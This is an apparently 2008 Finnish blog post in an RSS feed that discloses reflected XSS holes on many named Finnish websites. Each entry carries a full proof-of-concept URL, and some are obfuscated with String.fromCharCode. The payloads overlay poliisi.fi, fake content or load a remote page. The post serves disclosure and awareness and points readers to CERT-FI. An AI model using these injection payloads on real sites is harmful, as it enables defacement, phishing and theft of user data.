        Haavoittuvuuden avulla Nebulan sivuille voidaan kirjoittaa mitä tahansa haittakoodia. Esimerkki lataa poliisi.fi-sivun Nebulan päälle. Myös <a href="https://ssl.nebula.fi/laajakaistatilaus/">tilauslomake</a> sisältää post-lomaketiedoilla hyödynnettävän aukon, mutta siitä en ehtinyt rakentamaan demoa. Voitte kokeilla tilausprosessissa edetessä ensimmäiseen eteentulevaan tekstikenttään kirjoittaa vaikkapa: &lt;u&gt;alleviivaus&lt;/u&gt;
    </li>
<li>
        <a href="http://www.verkkoposti.com/e3/laskuri?controller=ulkomaanpaketti&#038;consumer=true&#038;paino=%22%3E%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1280px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E%3Ciframe%3E%3C!--XSS"><b>Suomen posti / Itella</b></a> (2/2 aukkoa korjattu<!--1.4.-->)<br />
        Postin pakettilaskuri salliin koodin kirjoittamisen sivupohjaan. Esimerkki lataa poliisi.fi-sivuston.</p>
<p>        Tämä aukko korjattiin 1.4.:<br />
        Postin sivuilla on todella uskomaton hakusysteemi käytössä. Sillä voi <a href="http://haku.posti.fi/highlight/index.html?url=http://www.ihminen.org/xss/xss_haavoittuvuus.php">sisällyttää mitä tahansa</a> sivuja postin palvelimella ajettavaksi, jolloin tietysti voidaan suorittaa mitä tahansa koodia. Esimerkissä postin sivun päälle ladataan oman palvelimeni kautta poliisin sivut. Kaikki sivustot jotka käyttävät samaa hakukoneta (<a href="http://www.ultraseek.com/">Ultraseek</a>) ovat haavoittuvaisia. Sama haavoituvuus <a href="http://search.ultraseek.com/highlight/index.html?url=?http://www.ihminen.org/xss/xss_haavoittuvuus.php">löytyy</a> tietysti myös Ultraseekin omilta sivuilta.
    </li>
<li>
        <a href="http://kartta.hel.fi/opas/main/default.asp?o=11&#038;l=1&#038;n=73339&#038;e=52219&#038;d=%3Cscript%3Ealert(%22Sivustolta%20on%20loytynyt%20XSS-haavoittuvuus.%22)%3C/script%3E%EF%BB%BF%3E%3Ciframe+border%3D%220%22style%3D%22min%2Dheight%3A1000px%3Btop%3A0%3Bbottom%3A0%3Bleft%3A0%3Bwidth%3A1270px%3Bright%3A0%3Bdisplay%3Ablock%3Bposition%3Aabsolute%3B%22src%3D%22http%3A%2F%2Fwww%2Epoliisi%2Efi%22%3E%3C%2Fiframe%3E%3Ciframe%3E"><b>Helsingin karttapalvelu</b></a> (korjattu)<br />
        Helsingin karttapalvelu antaa kirjoittaa sivuillensa mitä tahansa haittakoodia. Esimerkki lataa sivun päälle poliisi.fi-sivun. Lisäys: toimii näköjään vain jos osoitteen kopioi osoitekenttään.
    </li>
<li>
        <a href="http://www.keskisuomalainen.com/cgi-bin/maksut/otilausece.cgi?keskisuomalainen=a&#038;130alku=a&#038;13asiakasnumero=a&#038;14nimi=a&#038;16lahiosoite=a&#038;17postinumero=a&#038;18postitoimipaikka=a&#038;19puhelinnumero=a&#038;190telefax=a&#038;191email=a&#038;33asiakasnumero=a&#038;34nimi=%3Cscript%3Edocument.write(String.fromCharCode(60)%2BString.fromCharCode(105)%2BString.fromCharCode(102)%2BString.fromCharCode(114)%2BString.fromCharCode(97)%2BString.fromCharCode(109)%2BString.fromCharCode(101)%2BString.fromCharCode(32)%2BString.fromCharCode(115)%2BString.fromCharCode(114)%2BString.fromCharCode(99)%2BString.fromCharCode(61)%2BString.fromCharCode(34)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(112)%2BString.fromCharCode(58)%2BString.fromCharCode(47)%2BString.fromCharCode(47)%2BString.fromCharCode(119)%2BString.fromCharCode(119)%2BString.fromCharCode(119)%2BString.fromCharCode(46)%2BString.fromCharCode(112)%2BString.fromCharCode(111)%2BString.fromCharCode(108)%2BString.fromCharCode(105)%2BString.fromCharCode(105)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(46)%2BString.fromCharCode(102)%2BString.fromCharCode(105)%2BString.fromCharCode(34)%2BString.fromCharCode(115)%2BString.fromCharCode(116)%2BString.fromCharCode(121)%2BString.fromCharCode(108)%2BString.fromCharCode(101)%2BString.fromCharCode(61)%2BString.fromCharCode(34)%2BString.fromCharCode(100)%2BString.fromCharCode(105)%2BString.fromCharCode(115)%2BString.fromCharCode(112)%2BString.fromCharCode(108)%2BString.fromCharCode(97)%2BString.fromCharCode(121)%2BString.fromCharCode(58)%2BString.fromCharCode(98)%2BString.fromCharCode(108)%2BString.fromCharCode(111)%2BString.fromCharCode(99)%2BString.fromCharCode(107)%2BString.fromCharCode(59)%2BString.fromCharCode(109)%2BString.fromCharCode(105)%2BString.fromCharCode(110)%2BString.fromCharCode(45)%2BString.fromCharCode(104)%2BString.fromCharCode(101)%2BString.fromCharCode(105)%2BString.fromCharCode(103)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(49)%2BString.fromCharCode(48)%2BString.fromCharCode(48)%2BString.fromCharCode(48)%2BString.fromCharCode(112)%2BString.fromCharCode(120)%2BString.fromCharCode(59)%2BString.fromCharCode(112)%2BString.fromCharCode(111)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(116)%2BString.fromCharCode(105)%2BString.fromCharCode(111)%2BString.fromCharCode(110)%2BString.fromCharCode(58)%2BString.fromCharCode(97)%2BString.fromCharCode(98)%2BString.fromCharCode(115)%2BString.fromCharCode(111)%2BString.fromCharCode(108)%2BString.fromCharCode(117)%2BString.fromCharCode(116)%2BString.fromCharCode(101)%2BString.fromCharCode(59)%2BString.fromCharCode(116)%2BString.fromCharCode(111)%2BString.fromCharCode(112)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(98)%2BString.fromCharCode(111)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(111)%2BString.fromCharCode(109)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(108)%2BString.fromCharCode(101)%2BString.fromCharCode(102)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(114)%2BString.fromCharCode(105)%2BString.fromCharCode(103)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(119)%2BString.fromCharCode(105)%2BString.fromCharCode(100)%2BString.fromCharCode(116)%2BString.fromCharCode(104)%2BString.fromCharCode(58)%2BString.fromCharCode(49)%2BString.fromCharCode(50)%2BString.fromCharCode(56)%2BString.fromCharCode(48)%2BString.fromCharCode(112)%2BString.fromCharCode(120)%2BString.fromCharCode(34)%2BString.fromCharCode(62)%2BString.fromCharCode(60)%2BString.fromCharCode(47)%2BString.fromCharCode(105)%2BString.fromCharCode(102)%2BString.fromCharCode(114)%2BString.fromCharCode(97)%2BString.fromCharCode(109)%2BString.fromCharCode(101)%2BString.fromCharCode(62))%3C/script%3E%3C!--&#038;36lahiosoite=a&#038;37postinumero=a&#038;38postitoimipaikka=a&#038;39puhelinnumero=a&#038;390telefax=a&#038;maksutapa=Osuuspankki"><b>Keskisuomalainen</b></a> (korjattu<!--31.3.-->)<br />
        Haavoittuvuus lehdentilausprosessissa, siinä vaiheessa kun siirrytään maksamaan tilausta, mahdollistaa minkä tahansa koodin kirjoittamisen keskisuomalainen.com-sivustolla. Esimerkki lataa poliisi.fi-sivun.
    </li>
<li>
        <a href="http://viihde.mtv3.fi/videot/index.shtml/test');alert('Talla sivustolla on auki XSS-haavoittuvuus. Esimerkki lataa poliisi.fi-sivun tahan paalle.');document.write(String.fromCharCode(60)%2BString.fromCharCode(105)%2BString.fromCharCode(102)%2BString.fromCharCode(114)%2BString.fromCharCode(97)%2BString.fromCharCode(109)%2BString.fromCharCode(101)%2BString.fromCharCode(32)%2BString.fromCharCode(115)%2BString.fromCharCode(114)%2BString.fromCharCode(99)%2BString.fromCharCode(61)%2BString.fromCharCode(34)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(112)%2BString.fromCharCode(58)%2BString.fromCharCode(47)%2BString.fromCharCode(47)%2BString.fromCharCode(119)%2BString.fromCharCode(119)%2BString.fromCharCode(119)%2BString.fromCharCode(46)%2BString.fromCharCode(112)%2BString.fromCharCode(111)%2BString.fromCharCode(108)%2BString.fromCharCode(105)%2BString.fromCharCode(105)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(46)%2BString.fromCharCode(102)%2BString.fromCharCode(105)%2BString.fromCharCode(34)%2BString.fromCharCode(115)%2BString.fromCharCode(116)%2BString.fromCharCode(121)%2BString.fromCharCode(108)%2BString.fromCharCode(101)%2BString.fromCharCode(61)%2BString.fromCharCode(34)%2BString.fromCharCode(100)%2BString.fromCharCode(105)%2BString.fromCharCode(115)%2BString.fromCharCode(112)%2BString.fromCharCode(108)%2BString.fromCharCode(97)%2BString.fromCharCode(121)%2BString.fromCharCode(58)%2BString.fromCharCode(98)%2BString.fromCharCode(108)%2BString.fromCharCode(111)%2BString.fromCharCode(99)%2BString.fromCharCode(107)%2BString.fromCharCode(59)%2BString.fromCharCode(109)%2BString.fromCharCode(105)%2BString.fromCharCode(110)%2BString.fromCharCode(45)%2BString.fromCharCode(104)%2BString.fromCharCode(101)%2BString.fromCharCode(105)%2BString.fromCharCode(103)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(49)%2BString.fromCharCode(48)%2BString.fromCharCode(48)%2BString.fromCharCode(48)%2BString.fromCharCode(112)%2BString.fromCharCode(120)%2BString.fromCharCode(59)%2BString.fromCharCode(112)%2BString.fromCharCode(111)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(116)%2BString.fromCharCode(105)%2BString.fromCharCode(111)%2BString.fromCharCode(110)%2BString.fromCharCode(58)%2BString.fromCharCode(97)%2BString.fromCharCode(98)%2BString.fromCharCode(115)%2BString.fromCharCode(111)%2BString.fromCharCode(108)%2BString.fromCharCode(117)%2BString.fromCharCode(116)%2BString.fromCharCode(101)%2BString.fromCharCode(59)%2BString.fromCharCode(116)%2BString.fromCharCode(111)%2BString.fromCharCode(112)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(98)%2BString.fromCharCode(111)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(111)%2BString.fromCharCode(109)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(108)%2BString.fromCharCode(101)%2BString.fromCharCode(102)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(114)%2BString.fromCharCode(105)%2BString.fromCharCode(103)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(119)%2BString.fromCharCode(105)%2BString.fromCharCode(100)%2BString.fromCharCode(116)%2BString.fromCharCode(104)%2BString.fromCharCode(58)%2BString.fromCharCode(49)%2BString.fromCharCode(50)%2BString.fromCharCode(56)%2BString.fromCharCode(48)%2BString.fromCharCode(112)%2BString.fromCharCode(120)%2BString.fromCharCode(34)%2BString.fromCharCode(62)%2BString.fromCharCode(60)%2BString.fromCharCode(47)%2BString.fromCharCode(105)%2BString.fromCharCode(102)%2BString.fromCharCode(114)%2BString.fromCharCode(97)%2BString.fromCharCode(109)%2BString.fromCharCode(101)%2BString.fromCharCode(62));%20var%20xss_aukko=('loytyi"><b>Maikkari</b></a> (korjattu)<br />
        MTV3-kanavan sivustolla on videopalvelussa aukko, joka sallii javascript-komentojen suorittamisen sivustolla. Esimerkki lataa poliisi.fi-sivuston maikkarin sivun päälle (varoituksen kera).
    </li>
<li>
        <a href="http://www.city.fi/deitti/haku/?question_1%5Bfrom%5D=%22%20class=%22fancy%22%20/%3E%3Ciframe+border%3D%220%22style%3D%22min%2Dheight%3A1000px%3Btop%3A0%3Bbottom%3A0%3Bleft%3A0%3Bwidth%3A1024px%3Bright%3A0%3Bdisplay%3Ablock%3Bposition%3Aabsolute%3B%22src%3D%22http%3A%2F%2Fwww%2Epoliisi%2Efi%22%3E%3C%2Fiframe%3E%3C!--"><b>City.fi / Deitti.net</b></a> (5/5 aukkoa korjattu<!--1.4.-->, kts. <a href="#citypost">post</a>-kohta) <small>(Tämän ensimmäisen löysi Margus Sipria. )</small><br />
        Deitti.net / City.fi -palveluiden lomake antaa kirjoittaa sivustolla tarkistamatta mitä tahansa koodia. <a href="http://www.city.fi/kerrokaverille/?url=%22%3E%3Ciframe+border%3D%220%22style%3D%22min%2Dheight%3A1000px%3Btop%3A0%3Bbottom%3A0%3Bleft%3A0%3Bwidth%3A1024px%3Bright%3A0%3Bdisplay%3Ablock%3Bposition%3Aabsolute%3B%22src%3D%22http%3A%2F%2Fwww%2Epoliisi%2Efi%22%3E%3C%2Fiframe%3E%3C!--">Toinen aukko</a> sijaitsee kerro kaverille -ominaisuudessa. Esimerkit lataavat poliisi.fi-sivun city.fi:n päälle. Tällä olisi mahdollista saada ihmisistä hyvinkin yksityisiä ja arkoja tietoja urkittua.
    </li>
<li>
        <a href="http://nelonen.fi/uutisvideot/default.asp?video=%22%3E%3C/iframe%3E%3Cscript%3Ealert('Talta%20sivustolta%20on%20loytynyt%20XSS-haavoittuvuus.');%3C/script%3E%3C/script%3E%3Ciframe%20src=%22http://www.ihminen.org/xss/xss_haavoittuvuus.php?title"><b>Nelonen.fi</b></a> (korjattu<!--31.3.-->)<br />
        Haavoittuvuuden avulla voidaan ladata mitä tahansa sisältöä Nelonen.fi-sivuston sisälle. Esimerkissä lataan ulkoisen HTML-tiedoston (punainen teksti) sivustolle. Tässä esimerkki <a href="http://www.nelonen.fi/uutisvideot/default.asp?video=%22%3E%3C/iframe%3E%3Cscript%3Ealert('Talta%20sivustolta%20on%20loytynyt%20XSS-haavoittuvuus.');%3C/script%3E%3Cspan%20style=%22display:block;position:absolute;width:1500px;height:1500px;padding:100px;bottom:0;top:0;background:red;color:white;overflow:%20hidden;%22%3EXSS-haavoittuvuus%3C/span%3E%3Ciframe%20src=%22">punaisesta nelosesta</a>.
    </li>
<li>
        <a href="http://www.jimtv.fi/video2.asp?url=%22);%3C/script%3E%3Ciframe+border%3D%220%22style%3D%22min%2Dheight%3A1000px%3Btop%3A0%3Bbottom%3A0%3Bleft%3A0%3Bwidth%3A1024px%3Bright%3A0%3Bdisplay%3Ablock%3Bposition%3Aabsolute%3B%22src%3D%22http%3A%2F%2Fwww%2Epoliisi%2Efi%22%3E%3C%2Fiframe%3E"><b>JimTV</b></a> (korjattu<!--31.3.-->)<br />
        Jim-televisiokanavan sivustolla on videopalvelussa aukko, joka sallii minkä tahansa koodin kirjoittamisen sivustolle. Esimerkki lataa sivun päälle poliisi.fi-sivuston.
    </li>
<li>
        <a href="http://plaza.fi/mobiili/soittoaanet/funtonet/?jarjestys=&#038;qm=%22%3E%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1024px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E"><b>Plaza</b></a> (korjattu<!--31.3.-->)<br />
        Plazan sivuille voi mobiili-sivun hakutoiminnon kautta syöttää mitä tahansa haittakoodia. Esimerkki lataa sivun päälle (hieman kömpelösti tosin) poliisi.fi-sivuston.
    </li>
<li>
        <a href="http://fin.afterdawn.com/haku/hakutulokset.cfm?q=%22%3E%3Ciframe+border%3D%220%22style%3D%22min%2Dheight%3A1000px%3Btop%3A0%3Bbottom%3A0%3Bleft%3A0%3Bwidth%3A1024px%3Bright%3A0%3Bdisplay%3Ablock%3Bposition%3Aabsolute%3B%22src%3D%22http%3A%2F%2Fwww%2Epoliisi%2Efi%22%3E%3C%2Fiframe%3E%3C!--"><b>Afterdawn</b></a> (korjattu<!--1.4.-->)<br />
        Afterdawn, digi-viihdetekniikkaan keskittynyt uutissivusto antaa hakukentässään kirjoittaa sivustolle mitä tahansa koodia. Esimerkki lataa poliisi.fi:n sivun päälle.
    </li>
<li>
        <a href="http://www.taloussanomat.fi/keskustelut/iframe/article.jspa?articleID=%22%3E%3C/iframe%3E%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1270px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E"><b>Taloussanomat</b></a> (korjattu<!--31.3.-->)<br />
        Taloussanomien uutiskommentoinnin kautta voi sivustolle kirjoittaa mitä tahansa haittakoodia. Esimerkki lataa sivun päälle poliisi.fi-sivuston. Myös taloussanomien tagi-sivu vuotaa vähän, mutta ihan XSS:ksi asti <a href="http://www.omasana.fi/sana/oma%20%3Cu%3Ealleviivaus">tästä ei ole</a>.
    </li>
<li>
        <a href="http://www.tietokone.fi/foorumi/tulos.asp?viesti=%22%2F%3E%3Ciframe+border%3D%220%22style%3D%22min%2Dheight%3A1000px%3Btop%3A0%3Bbottom%3A0%3Bleft%3A0%3Bwidth%3A1024px%3Bright%3A0%3Bdisplay%3Ablock%3Bposition%3Aabsolute%3B%22src%3D%22http%3A%2F%2Fwww%2Epoliisi%2Efi%22%3E%3C%2Fiframe%3E"><b>Tietokone.fi</b></a> (korjattu<!--31.3.-->)<br />
        Tuo <a href="http://www.tietokone.fi/uutta/hakutulos.asp?hakusana=xss+%22%2F%3E%3Ciframe+border%3D%220%22style%3D%22min%2Dheight%3A1000px%3Btop%3A0%3Bbottom%3A0%3Bleft%3A0%3Bwidth%3A1024px%3Bright%3A0%3Bdisplay%3Ablock%3Bposition%3Aabsolute%3B%22src%3D%22http%3A%2F%2Fwww%2Epoliisi%2Efi%22%3E%3C%2Fiframe%3E">aiempi aukko</a> osoittautuikin vähän tehottomaksi, mutta uusi löytyi pienellä vaivalla. Tuo sivuston hakuboxi siis sallii html:n lisäämisen sivustolle, mutta vain keksien kautta, joten XSS-hyökkäyksessä sellaista on hankala hyödyntää. Uusi aukko antaa kirjoittaa mitä tahansa sisältöä sivustolle. Esimerkki lataa poliisi.fi-sivuston tietokone-sivun päälle.</p>
<p>        <strike>Tietokone-lehden sivustolla on alkeellinen hakukentän "XSS-karkaus". Tämä on siitä ikävä, että sivusto tallentaa haut selaimeen, jolloin bugista ei pääse eroon. Tuon linkin jälkeen www.tietokone.fi siis näyttää aina poliisilta. ;-)</strike>
    </li>
<li>
        <a href="http://www.iltalehti.fi/nettitv/?%22%3E%3C/iframe%3E%3Cscript%3Ealert(%22T%C3%A4lt%C3%A4%20sivustolta%20on%20l%C3%B6ytynyt%20XSS-haavoittuvuus.%22);document.write(%22%3Ch1%3ESivustolta%20on%20loytynyt%20XSS-haavoittuvuus%3C/h1%3E%3C!--%22);%3C/script%3E%3Ciframe"><b>Iltalehti</b></a> (korjattu<!--31.3.-->)<br />
        Haavoittuvuuden avulla voidaan ladata mitä tahansa sisältöä Iltalehti.fi-sivuston sisälle. Esimerkissä näytetään selaimen varoitus ja kirjoitetaan iso teksti keskelle sivua.
    </li>
<li>
        <a href="https://www.grafia.fi/index.php?search=%22%3E%3Ciframe%20border=%220%22%20style=%22display:block;position:absolute;min-height:1000px;top:0;margin:0;padding:0;bottom:0;left:0;%20width:1380px;right:0;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E%3Ciframe%3E%3C!--"><b>Grafia</b></a> (korjattu<!--1.4.-->)<br />
        Graafisen suunnittelun ammattilaisten järjestö, Grafia ry on XSS-haavoittuvainen. Sivustolle on hakukentän kautta mahdollista kirjoittaa mitä tahansa haittakoodia. Sivusto salaa yhteyden (https). Esimerkki lataa sivun päälle poliisi.fi:n.
    </li>
<li>
        <a href="http://www.blogilista.fi/info.php?id=%3Ciframe%20border=%220%22%20style=%22display:block;position:absolute;min-height:1000px;top:0;margin:0;padding:0;bottom:0;left:0;%20width:1380px;right:0;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E%3Ciframe%3E%3C!--"><b>Blogilista.fi (Sanoma Digital Oy)</b></a> (korjattu<!--1.4.-->)<br />
        Sivustolle voidaan kirjoittaa mitä tahansa haittakoodia. Esimerkki lataa poliisi.fi-sivuston blogilistan päälle, joskin sijoittelu vähän mättää: en ehtinyt käyttää hienosteluun aikaa.
    </li>
<li>
        <a href="http://sektori.com/?tpl=forgotPassword&#038;email=%22%3E%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1380px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E"><b>Sektori.com</b></a> (korjattu<!--30.3.-->)<br />
        Salasanamuistutuslomakkeen kautta voidaan sivustolle kirjoittaa mitä tahansa haittakoodia. Esimerkki lataa poliisi.fi-sivuston sektorin päälle.
    </li>
<li>
        <a href="http://www.prh.fi/fi/yrityskiinnitykset/rasitustodistustilaus.html.stx?BE.Form.Input=%22%3E%3Ciframe%20border=%220%22%20style=%22min-height:1000px;top:0;bottom:0;left:0;%20width:1274px;right:0;display:block;position:absolute;%22%20src=%22http://www.poliisi.fi%22%3E%3C/iframe%3E%3C!--"><b>Patentti- ja rekisterihallitus</b></a> (korjattu<!--31.3.-->)<br />
        PRH-sivustolla lomakkeelle voi syöttää mitä koodia tahansa "esitäytettäväksi". Esimerkki lataa poliisi.fi-sivuston PRH:n päälle.
    </li>
<li>
        <a href="http://www.pingstate.nu/foorumi/%22%3E%3Cdiv%20style=%22display:block;width:1000px;height:1000px;z-index:1;position:absolute;background:red;%22%3EXSS-haavoittuvuus.%3C!--"><b>Pingstate.nu-yhteisösivu</b></a> (korjattu<!--30.3.-->)<br />
        Sivusto antaa kirjoittaa mitä tahansa haittakoodia. Esimerkissä Punainen laatikko "XSS-haavoituvuus"-tekstillä.
    </li>
<li>
        <a href="http://front.phs.fi/p/netposti08/lomake2.html?virhe=1&#038;ver=fi&#038;toive=spam&#038;x=66&#038;y=18&#038;ika=15-25&#038;nimi=%22%3E%3Cdiv%20style=%22width:380px;font-size:25px;line-height:35px;color:black;background:white;padding:67px%2030px;position:absolute;top:270px;left:570px;text-align:center;%22%3ESadalle%20hakijalle%20ilmainen%20tietokone!%20Vastaa%20nopeasti,%20tietokoneita%20jaljella:%20%3Cb%3E14%3C/b%3E%20%3Cspan%20style=%22font-size:13px;%22%3E(tilanne%201.4.2008)%3C/span%3E%3C/div%3E%3Cspan%20id=%22xss"><b>Postin kampanja / PHS</b></a> (korjattu)<br />
        PHS-mainostoimiston toteuttamassa kampanjassa postille on lomakkeenkäsittelyssä puute, joka sallii minkä tahansa koodin kirjoittamisen sivuille. Esimerkissä pieni aprillipila. :-)
    </li>
<li>
    <a href="http://www.verkkokauppa.com/?page=http://www.verkkokauppa.com/main.php?path=unohditko"><b>Verkkokauppa.com</b></a> (korjattu<!--3.4.-->)<br />
    Verkkokaupan salasanamuistutus-lomake ei tarkista vastaanottamaansa POST-arvoa. Sivustolle voi kirjoittaa mitä tahansa haittakoodia.  En vielä ehtinyt rakentamaan javascript-formia, joka ensin avaisi tuon sivun, sitten lähettäisi post-käskyn uuden ikkunan oikeaan frameen. Pelkälle framesetille kun post-käskyä ei voi lähettää - eli sikäli aukko on vähän mutkan kautta käytettävissä. Voitte testata sitä kirjoittamalla sähköpostikenttään:<br />
    &lt;h1 style="color:red"&gt;Tässä on XSS-aukko&lt;/h1&gt;</p>
<p>    Tämä on siitä vaarallinen aukko, että crakkeri pystyisi väärentämään esim. jonkin halvan tuotteen sivustolle, sekä myös maksupainikkeet - ja sitä kautta urkkimaan käyttäjältä pankkitunnukset/henkilökohtaisia tietoja/luottokorttitiedot jne.
    </li>
<h3 name="post">POST-arvojen käsitelyvirhe -XSS-aukot</h3>
<p>Nämä ovat siitä vaarallisia, ettei sivuston osoite näytä laisinkaan epäilyttävältä koodisotkulta. Toisaalta näitä ei voi jakaa ihan normaalisti osoitteina, mutta mitä sitten? HTML:nä sähköpostissa ja nettisivuilla nämä ovat silti vaarallisia. Nämä linkit ovat siis oikeasti lomake-nappeja, mutta tavallinen käyttäjä ei sitä välttämättä huomaa.</p>
<li>Lue näistä lisää <a href="http://www.ihminen.org/xss/#post">lista-sivulta</a>, en voinut sisällyttääkään kaikkea koska piti käyttää vähän erikoisempaa -tekniikkaa XSS-aukkojen metsästykseen.</li>
</ol>
<hr />
<p><i>Listaa päivitetty viimeksi 19.4.2008</i></p>
<p><h3>Uutiset &amp; linkit</h3>
<ul>
<li><b>30.3.<!-- ??:?? --></b> - <a href="http://www.ksml.fi">Keskisuomalaiseen</a> on tulossa huomenna (ma) juttua tästä aiheesta etusivulle. Toimittaja haastatteli tänään ja kuviakin otettiin.</li>
<li><b>31.3.<!-- 12:00 --></b> - Keskustelua aiheesta mm. <a href="http://www.pingstate.nu/linkit/170120">pingstatessa</a>.</li>
<li><b>31.3.<!-- 12:45 --></b> - Osoitteessa <a href="http://xss.dy.fi/">xss.dy.fi</a> on lisää listattuna XSS-haavoittuvuuksia suomalaisilla sivustoilla.</li>
<li><b>31.3.<!-- 12:55 --></b> - Lisää haavoittuvuuksia osoitteessa <a href="http://piru.dyndns.org/~p/xss.txt">piru.dyndns.org/~p/xss.txt</a>.</li>
<li><b>31.3.<!-- 13:38 --></b> - Keskisuomalaisen juttu luettavissa lyhennettynä myös ksml.netissä: <a href="http://www.ksml.fi/uutiset/keski-suomi/suurten-sivut-reikäjuustoa(99416).ece">Suurten yritysten verkkosivut reikäjuustoa</a>. Koko juttu <a href="http://www.ihminen.org/xss/ksml_2008-03-31_suurten_sivut_reikajuustoa.pdf">PDF:nä</a> (15mt, klikkaa oikealla napilla linkkiä ja valitse "Save as / Tallenna nimellä")</li>
<li><b>31.3.<!-- 18:59 --></b> - Vierityspalkki <a href="http://vierityspalkki.wordpress.com/2008/03/31/xss-aukot-verkkopalveluiden-riesana/">kirjoitti jutun aiheesta</a>. Jutussa on runsaasti hyviä linkkejä tietolähteisiin.</li>
<li><b>1.4.</b> - Muropaketin <a href="http://keskustelu.plaza.fi/muropaketti/bbs/t528773">keskustelualueella aiheesta</a>, sekä muutamia haavoittuvuuksia listattuna.</li>
</ul>
<h3>Jos löydän haavoittuvuuden?</h3>
<p>
Ilmoita asiasta sivuston ylläpitäjälle sekä CERT-FI:lle osoitteeseen <a href="mailto:cert@ficora.fi">cert@ficora.fi</a>. Voit myös halutessasi julkaista aukon tällä listalla (ks. yhteystiedot) tai <a href="http://xss.dy.fi/">xss.dy.fi</a>-wikissä.
</p>
<p><h3>Lisätietoja:</h3>
<p>    Mikael Korpela<br />
    Graafikko &amp; www-suunnittelija<br />
    mikael@ihminen.org<br />
    <a href="http://www.ihminen.org">www.ihminen.org</a><br />
    <a href="http://www.ihminen.org/yhteystiedot/">Yhteystiedot</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ihminen.org/blog/2008/03/30/listaus_xss-haavoittuvuuksista_suomessa/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

